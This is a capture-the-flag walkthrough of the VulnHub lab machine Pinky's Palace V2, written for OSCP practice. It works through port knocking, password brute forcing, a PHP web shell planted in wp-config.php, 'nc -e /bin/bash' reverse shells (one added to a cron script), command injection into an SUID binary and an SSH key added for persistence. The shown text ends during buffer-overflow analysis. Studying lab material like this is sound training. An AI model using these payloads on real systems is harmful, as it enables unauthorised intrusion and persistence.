Pinky’s Palace: V2 Walkthrough (OSCP Prep)

Pinky’s Palace: V2 Walkthrough (OSCP Prep)

Introduction

Continuing our OSCP Prep series, today we’ll compromise Pinky’s Palace: V2 from VulnHub.


Host Discovery

First things first, we need to find the target box’s IP address on our network:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ sudo arp-scan -l
Interface: ens33, type: EN10MB, MAC: 00:0c:29:4c:9e:c7, IPv4: 10.0.10.10
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.10.1       00:50:56:c0:00:08       VMware, Inc.
10.0.10.2       00:50:56:e8:6a:fe       VMware, Inc.
10.0.10.101     00:0c:29:27:29:ae       VMware, Inc.
10.0.10.199     00:50:56:fd:62:a5       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.934 seconds (132.37 hosts/sec). 4 responded

We find the machine at 10.0.10.101. Minding this note from VulnHub:

Note From VulnHub: WordPress will not render correctly. You will need to alter your host file with the IP shown on the console: echo 192.168.x.x pinkydb | sudo tee -a /etc/hosts

Let’s update our /etc/hosts file accordingly:

10.0.10.101       pinkydb

Scanning

Let’s run a quick port scan of the target:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ rustscan -a pinkydb -- -sV -oA scans/nmap-version
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.101:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -oA scans/nmap-version" on ip 10.0.10.101
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 12:51 CST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 12:51
Scanning 10.0.10.101 [2 ports]
Completed Ping Scan at 12:51, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 12:51
Scanning pinky (10.0.10.101) [1 port]
Discovered open port 80/tcp on 10.0.10.101
Completed Connect Scan at 12:51, 0.00s elapsed (1 total ports)
Initiating Service scan at 12:51
Scanning 1 service on pinky (10.0.10.101)
Completed Service scan at 12:51, 11.11s elapsed (1 service on 1 host)
NSE: Script scanning 10.0.10.101.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 12:51
Completed NSE at 12:51, 0.04s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 12:51
Completed NSE at 12:51, 0.04s elapsed
Nmap scan report for pinky (10.0.10.101)
Host is up, received syn-ack (0.00050s latency).
Scanned at 2022-01-29 12:51:34 CST for 11s

PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Apache httpd 2.4.25 ((Debian))

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.48 seconds

We find only one open TCP port: a webserver.


Enumerating HTTP

Let’s launch a browser and see what this machine is serving on port 80.

Pinky’s Blog Home Page

So the target is running a WordPress installation. Before we dig deeper into that, we’ll fuzz for any interesting files or directories:

(ori0n@apophis) --> [ ~/pinky/files/wordpress ]
  ==> $ ffuf -u http://pinkydb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pinkydb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

.htpasswd               [Status: 403, Size: 291, Words: 22, Lines: 12, Duration: 1ms]
.hta                    [Status: 403, Size: 286, Words: 22, Lines: 12, Duration: 56ms]
.htaccess               [Status: 403, Size: 291, Words: 22, Lines: 12, Duration: 231ms]
secret                  [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 0ms]
server-status           [Status: 403, Size: 295, Words: 22, Lines: 12, Duration: 0ms]
wordpress               [Status: 301, Size: 306, Words: 20, Lines: 10, Duration: 0ms]
wp-admin                [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 0ms]
wp-content              [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 0ms]
wp-includes             [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 0ms]
xmlrpc.php              [Status: 405, Size: 42, Words: 6, Lines: 1, Duration: 14ms]
index.php               [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 10ms]
:: Progress: [4702/4702] :: Job [1/1] :: 38 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

Well, well, well. This secret directory looks pretty interesting. Let’s check it out:

secret directory

Clinking on the bambam.txt file, we get:

8890
7000
666

pinkydb

These look like port numbers. Perhaps port knocking is in order?


Port Knocking and Further Enumeration

We’ll see if we can use these port numbers to open up more ports on the machine:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ for port in {8890,7000,666}; do nc -vz pinkydb $port; done
pinkydb [10.0.10.101] 8890 (ddi-tcp-3): Connection refused
pinkydb [10.0.10.101] 7000 (afs3-fileserver): Connection refused
pinkydb [10.0.10.101] 666 (mdqs): Connection refused

Now we’ll scan again and hope we have more ports available for enumeration.

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ rustscan -a pinkydb
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.101:80
[~] Starting Script(s)
[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 15:04 CST
Initiating Ping Scan at 15:04
Scanning 10.0.10.101 [2 ports]
Completed Ping Scan at 15:04, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 15:04
Scanning pinkydb (10.0.10.101) [1 port]
Discovered open port 80/tcp on 10.0.10.101
Completed Connect Scan at 15:04, 0.00s elapsed (1 total ports)
Nmap scan report for pinkydb (10.0.10.101)
Host is up, received syn-ack (0.00035s latency).
Scanned at 2022-01-29 15:04:52 CST for 0s

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

Nothing. We can try changing the order of the ports in our knock to see if we have any better luck. After a few attempts, we have a winner:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ for port in {7000,666,8890}; do nc -vz pinkydb $port; done
pinkydb [10.0.10.101] 7000 (afs3-fileserver): Connection refused
pinkydb [10.0.10.101] 666 (mdqs): Connection refused
pinkydb [10.0.10.101] 8890 (ddi-tcp-3): Connection refused
(ori0n@apophis) --> [ ~/pinky ]
  ==> $ rustscan -a pinkydb
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.101:80
Open 10.0.10.101:4655
Open 10.0.10.101:7654
Open 10.0.10.101:31337
[~] Starting Script(s)
[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 15:09 CST
Initiating Ping Scan at 15:09
Scanning 10.0.10.101 [2 ports]
Completed Ping Scan at 15:09, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 15:09
Scanning pinkydb (10.0.10.101) [4 ports]
Discovered open port 80/tcp on 10.0.10.101
Discovered open port 4655/tcp on 10.0.10.101
Discovered open port 31337/tcp on 10.0.10.101
Discovered open port 7654/tcp on 10.0.10.101
Completed Connect Scan at 15:09, 0.00s elapsed (4 total ports)
Nmap scan report for pinkydb (10.0.10.101)
Host is up, received syn-ack (0.00052s latency).
Scanned at 2022-01-29 15:09:24 CST for 0s

PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack
4655/tcp  open  unknown syn-ack
7654/tcp  open  unknown syn-ack
31337/tcp open  Elite   syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

Bingo! Three more ports to examine. First, let’s let nmap do its thing:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ sudo nmap -p4655,7654,31337 -sV pinkydb
[sudo] password for ori0n:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 15:11 CST
Nmap scan report for pinkydb (10.0.10.101)
Host is up (0.00024s latency).

PORT      STATE SERVICE VERSION
4655/tcp  open  ssh     OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
7654/tcp  open  http    nginx 1.10.3
31337/tcp open  Elite?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.92%I=7%D=1/29%Time=61F5AD9F%P=x86_64-pc-linux-gnu%r(N
SF:ULL,59,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x20i
SF:s\x20soon\x20to\x20be\x20our\x20backdoor\n\0into\x20Pinky's\x20Palace\.
SF:\n=>\x20\0")%r(GetRequest,6B,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon\
SF:x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20backdoor\n\0into\
SF:x20Pinky's\x20Palace\.\n=>\x20\0GET\x20/\x20HTTP/1\.0\r\n\r\n")%r(SIPOp
SF:tions,138,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x
SF:20is\x20soon\x20to\x20be\x20our\x20backdoor\n\0into\x20Pinky's\x20Palac
SF:e\.\n=>\x20\0OPTIONS\x20sip:nm\x20SIP/2\.0\r\nVia:\x20SIP/2\.0/TCP\x20n
SF:m;branch=foo\r\nFrom:\x20<sip:nm@nm>;tag=root\r\nTo:\x20<sip:nm2@nm2>\r
SF:\nCall-ID:\x2050000\r\nCSeq:\x2042\x20OPTIONS\r\nMax-Forwards:\x2070\r\
SF:nContent-Length:\x200\r\nContact:\x20<sip:nm@nm>\r\nAccept:\x20applicat
SF:ion/sdp\r\n\r\n")%r(GenericLines,5D,"\[\+\]\x20Welcome\x20to\x20The\x20
SF:Daemon\x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20backdoor\n
SF:\0into\x20Pinky's\x20Palace\.\n=>\x20\0\r\n\r\n")%r(HTTPOptions,6F,"\[\
SF:+\]\x20Welcome\x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x20is\x20soon\x
SF:20to\x20be\x20our\x20backdoor\n\0into\x20Pinky's\x20Palace\.\n=>\x20\0O
SF:PTIONS\x20/\x20HTTP/1\.0\r\n\r\n")%r(RTSPRequest,6F,"\[\+\]\x20Welcome\
SF:x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20o
SF:ur\x20backdoor\n\0into\x20Pinky's\x20Palace\.\n=>\x20\0OPTIONS\x20/\x20
SF:RTSP/1\.0\r\n\r\n")%r(RPCCheck,5A,"\[\+\]\x20Welcome\x20to\x20The\x20Da
SF:emon\x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20backdoor\n\0
SF:into\x20Pinky's\x20Palace\.\n=>\x20\0\x80")%r(DNSVersionBindReqTCP,59,"
SF:\[\+\]\x20Welcome\x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x20is\x20soo
SF:n\x20to\x20be\x20our\x20backdoor\n\0into\x20Pinky's\x20Palace\.\n=>\x20
SF:\0")%r(DNSStatusRequestTCP,59,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon
SF:\x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20backdoor\n\0into
SF:\x20Pinky's\x20Palace\.\n=>\x20\0")%r(Help,5F,"\[\+\]\x20Welcome\x20to\
SF:x20The\x20Daemon\x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20
SF:backdoor\n\0into\x20Pinky's\x20Palace\.\n=>\x20\0HELP\r\n");
MAC Address: 00:0C:29:27:29:AE (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds

We find SSH, a web server, and an unknown service running on the interesting port number 31337. We’ll check out this one first:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ nc pinkydb 31337
[+] Welcome to The Daemon [+]
This is soon to be our backdoor
into Pinky's Palace.
=> help
help

That’s interesting: we found a potential backdoor. However, more playing around on this port doesn’t find any interesting commands.

Before moving on, let’s send it a little more data and see if we can cause a crash:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ python -c "print('X'*1024)" | nc pinkydb 31337
[+] Welcome to The Daemon [+]
This is soon to be our backdoor
into Pinky's Palace.
=> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX`Hread(net): Connection reset by peer

And we have a crash. This might be a spot for a buffer overflow exploit later, but for now, let’s move on to the “hidden” webserver.


Enumerating Port 7654

First, we’ll check out the site in a browser.

Hidden login link

And clicking the link, we get:

Pinky’s Database Login

Some basic SQL injection testing gets nowhere. Let’s try to brute force our way in.

For potential usernames, we can keep it simple:

admin
pinky
pinky1337

Note the pinky1337 username we found from the WordPress page. Save this list as users.txt. Trying these usernames with some standard password wordlists and hydra didn’t turn anything up, so let’s build a custom, more targeted wordlist with cewl:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ cewl -d 1 -w /tmp/words.txt http://pinkydb
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ wc -l /tmp/words.txt && head /tmp/words.txt
157 /tmp/words.txt
Pinky
WordPress
Blog
site
content
entry
Hello
world
Comments
March

Now we’ll try again with hydra and our custom wordlist:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ hydra -L users.txt -P /tmp/words.txt -s 7654 pinkydb http-post-form '/login.php:user=^USER^&pass=^PASS^:F=Invalid'
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-29 15:46:29
[DATA] max 16 tasks per 1 server, overall 16 tasks, 471 login tries (l:3/p:157), ~30 tries per task
[DATA] attacking http-post-form://pinkydb:7654/login.php:user=^USER^&pass=^PASS^:F=Invalid
[7654][http-post-form] host: pinkydb   login: pinky   password: Passione
[7654][http-post-form] host: pinkydb   login: pinky1337   password: WordPress
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-29 15:46:31

Interestingly, we get two hits here, but the second is a false-positive. The first set of creds, however, gets us in:

Pinky’s Database – Logged In

Is that an RSA key I see? We’ll take a look at the notes first:

- Stefano
- Intern Web developer
- Created RSA key for security for him to login

Well, that’s interesting. Let’s grab the key and see if we can’t log in.

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ wget http://pinkydb:7654/credentialsdir1425364865/id_rsa
--2022-01-29 15:53:06--  http://pinkydb:7654/credentialsdir1425364865/id_rsa
Resolving pinkydb (pinkydb)... 10.0.10.101
Connecting to pinkydb (pinkydb)|10.0.10.101|:7654... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1766 (1.7K) [application/octet-stream]
Saving to: ‘id_rsa’

id_rsa                             100%[===============================================================>]   1.72K  --.-KB/s    in 0s

2022-01-29 15:53:06 (410 MB/s) - ‘id_rsa’ saved [1766/1766]


(ori0n@apophis) --> [ ~/pinky ]
  ==> $ chmod 600 id_rsa

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ ssh -l stefano -i id_rsa -p4655 pinkydb
Enter passphrase for key 'id_rsa':
stefano@pinkydb's password:
Permission denied, please try again.

We need a password. First, we’ll extract a hash with ssh2john, then we’ll feed it to john.

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ john hash --wordlist=/usr/share/wordlists/passwords/rockyou.txt
--------------------------------------------------------------------------
The library attempted to open the following supporting CUDA libraries,
but each of them failed.  CUDA-aware support is disabled.
libcuda.so.1: cannot open shared object file: No such file or directory
libcuda.dylib: cannot open shared object file: No such file or directory
/usr/lib64/libcuda.so.1: cannot open shared object file: No such file or directory
/usr/lib64/libcuda.dylib: cannot open shared object file: No such file or directory
If you are not interested in CUDA-aware support, then run with
--mca opal_warn_on_missing_libcuda 0 to suppress this message.  If you are interested
in CUDA-aware support, then try setting LD_LIBRARY_PATH to the location
of libcuda.so.1 to get passed this issue.
--------------------------------------------------------------------------
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
secretz101       (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:01 DONE (2022-01-29 15:56) 0.5025g/s 7206Kp/s 7206Kc/s 7206KC/s *7¡Vamos!
Session completed

And we have the password. We’ll try to SSH in once again:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ ssh -l stefano -i id_rsa -p4655 pinkydb
Enter passphrase for key 'id_rsa':
Linux Pinkys-Palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Mar 17 21:18:01 2018 from 172.19.19.2
stefano@Pinkys-Palace:~$

And we’re in!


Initial PrivEsc

Let’s explore Stefano’s home directory to see if we can find something interesting.

stefano@Pinkys-Palace:~$ ls
tools
stefano@Pinkys-Palace:~$ cd tools
stefano@Pinkys-Palace:~/tools$ ls -al
total 28
drwxr-xr-x 2 stefano stefano   4096 Mar 17  2018 .
drwxr-xr-x 4 stefano stefano   4096 Mar 17  2018 ..
-rw-r--r-- 1 stefano stefano     65 Mar 16  2018 note.txt
-rwsr----x 1 pinky   www-data 13384 Mar 16  2018 qsub
stefano@Pinkys-Palace:~/tools$ cat note.txt
Pinky made me this program so I can easily send messages to him.

So we have a SUID binary owned by user pinky which may be (probably is) exploitable. The only problem is we don’t have read permissions for the file. But the group www-data does! Perhaps we could find a way to spawn a shell as user www-data.

www-data Reverse Shell

Let’s head over to the webserver root and see if there are any writable directories or files:

stefano@Pinkys-Palace:~$ cd tools/
stefano@Pinkys-Palace:~/tools$ cd /var/www
stefano@Pinkys-Palace:/var/www$ ls -l
total 4
drwxr-xr-x 4 www-data www-data 4096 Mar 17  2018 html
stefano@Pinkys-Palace:/var/www$ find . -writable
./html/apache/wp-config.php

So the wp-config.php file is writable. We’ll open in our text editor of choice and inject a simple PHP shell by adding the following directly below the opening <?php tag:

passthru($_GET['cmd']);

Now we’ll use Burp to verify if we have our PHP shell:

Verifying our PHP Shell

Let’s see if we have netcat, and, if so, which version.

Friendly Netcat

Nice. We don’t even have to use any piping magic. Set up a listener and use nc -e /bin/bash 10.0.10.10 1337 as our cmd value:

ori0n@apophis:~/pinky$ ncat -nlkvp 1337
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.0.10.101.
Ncat: Connection from 10.0.10.101:36056.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have our shell. Now we’ll set up a quick Python web server in Stefano’s tools directory:

cd /home/stefano/tools
python -m SimpleHTTPServer

And from our attacker, we’ll download the SUID binary:

(ori0n@apophis) --> [ ~/pinky/files ]
  ==> $ wget http://pinkydb:8000/qsub
--2022-01-29 16:45:28--  http://pinkydb:8000/qsub
Resolving pinkydb (pinkydb)... 10.0.10.101
Connecting to pinkydb (pinkydb)|10.0.10.101|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13384 (13K) [application/octet-stream]
Saving to: ‘qsub’

qsub                               100%[===============================================================>]  13.07K  --.-KB/s    in 0s

2022-01-29 16:45:28 (41.1 MB/s) - ‘qsub’ saved [13384/13384]

Analyzing the Binary

Let’s fire up Ghidra and load up the qsub binary. Perform the initial analysis and navigate to the main function.

Decompilation of qsubs’ main

I’ll rename some variables to clean this up a bit:

Cleaned Up

This function is simple: ask for a password, compare it against the TERM environment variable, and if they match, pass the first program argument (argv[1]) to the send function. So let’s take a look at the send function (after a bit of cleanup):

qsub send decompiled

First, note that the original function signature was incorrect. Ghidra was using the signature of the send system call, but this is a custom function.

Basic analysis shows that this function is simply injecting our message into the format string "/bin/echo %s >> /home/pinky/messages/stefano_msg.txt" and sending the resulting string to the system function. Exploitation should be simple: we’ll just terminate the echo with a ; and inject our own command:

stefano@Pinkys-Palace:~/tools$ echo $TERM
screen-256color
stefano@Pinkys-Palace:~/tools$ ./qsub ';/bin/bash; #'
[+] Input Password: screen-256color

pinky@Pinkys-Palace:/home/pinky$ id
uid=1000(pinky) gid=1002(stefano) groups=1002(stefano)

So we have our pinky shell, but we still belong to the stefano group. A quick workaround to this is to add our public SSH key to Pinky’s ~/.ssh/authorized_keys file:

echo [SSH_PUBLIC_KEY] > /home/pinky/.ssh/authorized_keys

Now we should be able to SSH into the target as pinky:

(ori0n@apophis) --> [ ~/pinky/files ]
  ==> $ ssh -l pinky pinkydb -p 4655
Enter passphrase for key '/home/ori0n/.ssh/id_rsa':
Linux Pinkys-Palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan 29 15:31:08 2022 from 10.0.10.10
pinky@Pinkys-Palace:~$ id
uid=1000(pinky) gid=1000(pinky) groups=1000(pinky),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Escalating to Demon

Now we have full access to Pinky’s account. Let’s search for any writable files:

pinky@Pinkys-Palace:~$ 2>/dev/null find / -writable | grep -Ev '/proc|/sys|/run'
/dev/fb0
/dev/dri/card0
/dev/dri/renderD128
/dev/dri/controlD64
/dev/snd/seq
/dev/snd/timer
/dev/net/tun
/dev/fuse
/dev/mqueue
/dev/log
/dev/shm
/dev/char/29:0
/dev/char/226:0
/dev/char/226:64
/dev/char/226:128
/dev/char/5:0
/dev/char/5:2
/dev/char/1:5
/dev/char/1:8
/dev/char/1:9
/dev/char/1:3
/dev/char/1:7
/dev/stderr
/dev/stdout
/dev/stdin
/dev/fd
/dev/pts/1
/dev/ptmx
/dev/tty
/dev/urandom
/dev/random
/dev/full
/dev/zero
/dev/null
/tmp
/tmp/.ICE-unix
/tmp/.font-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/var/tmp
/var/www/html/apache/wp-config.php
/var/lock
/var/lib/php/sessions
/home/stefano/tools/qsub
/home/pinky
/home/pinky/.bash_history
/home/pinky/.bashrc
/home/pinky/.profile
/home/pinky/.bash_logout
/home/pinky/.ssh
/home/pinky/.ssh/authorized_keys
/home/pinky/messages
/home/pinky/messages/stefano_msg.txt
/home/pinky/.viminfo
/usr/local/bin/backup.sh

This backup.sh file sounds interesting.

pinky@Pinkys-Palace:~$ ls -l /usr/local/bin/backup.sh
-rwxrwx--- 1 demon pinky 113 Mar 17  2018 /usr/local/bin/backup.sh
pinky@Pinkys-Palace:~$ cat /usr/local/bin/backup.sh
#!/bin/bash

rm /home/demon/backups/backup.tar.gz
tar cvzf /home/demon/backups/backup.tar.gz /var/www/html
#
#
#

So this is a shell script owned by user demon but writable by Pinky. Maybe this is running as a cron job?

Let’s set up a listener and try to send a shell over. First, start a listener:

ori0n@apophis:~/pinky$ ncat -nlvkp 1337
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337

Now add the following line to /usr/local/bin/backup.sh:

nc -e /bin/bash 10.0.10.10 1337

We’ll give it some time to see if the cron job fires. After some time, we get our shell:

Ncat: Connection from 10.0.10.101.
Ncat: Connection from 10.0.10.101:32962.
id
uid=1001(demon) gid=1001(demon) groups=1001(demon)

Getting root

We’ll use a bit of terminal magic to upgrade our shell. First, run the command:

script -c /bin/bash /dev/null

Next, Ctrl-Z to back out to our bash shell. Use stty raw -echo to turn off echo, then type fg and hit return (you will not see fg). This will bring our Netcat shell back up. Type reset, hit return, then enter a valid TERM type:

script -c /bin/bash /dev/null
Script started, file is /dev/null
demon@Pinkys-Palace:~$ ^Z
[1]+  Stopped                 ncat -nlvkp 1337
148 ori0n@apophis:~/pinky$ stty raw -echo
ncat -nlvkp 1337pinky$
                reset
reset: unknown terminal type unknown
Terminal type? screen-256color
demon@Pinkys-Palace:~$
demon@Pinkys-Palace:~$ 2>/dev/null find / -user demon | grep -Ev '/proc|/sys|/user'
/dev/pts/2
/daemon
/daemon/panel
/home/demon
/home/demon/backups
/home/demon/backups/backup.tar.gz
/home/demon/.bashrc
/home/demon/.profile
/home/demon/.bash_logout
/usr/local/bin/backup.sh

Notice the /daemon/panel binary. If we check for running binaries with ps, we find it running as the root user!

demon@Pinkys-Palace:/daemon$ ps -ef | grep panel
root        458      1  0 15:36 ?        00:00:00 /daemon/panel
root        465    458  0 15:36 ?        00:00:00 /daemon/panel
demon       992    949  0 15:53 pts/2    00:00:00 grep panel

Is this the “backdoor” we found running on port 31337? The same one that appeared to have a possible buffer overflow vulnerability? Let’s download it and see if we can’t find a bug or two.

Analyzing the Binary

After downloading the panel binary, load it into Ghidra and perform the initial analysis. Then navigate to the main function. Near the end, we see the program grabbing our input and sending it to the handlcmd function (cleaned up a bit here):

void handlecmd(char *cmd,int sockfd)

{
  size_t cmd_len;
  char buf [112];

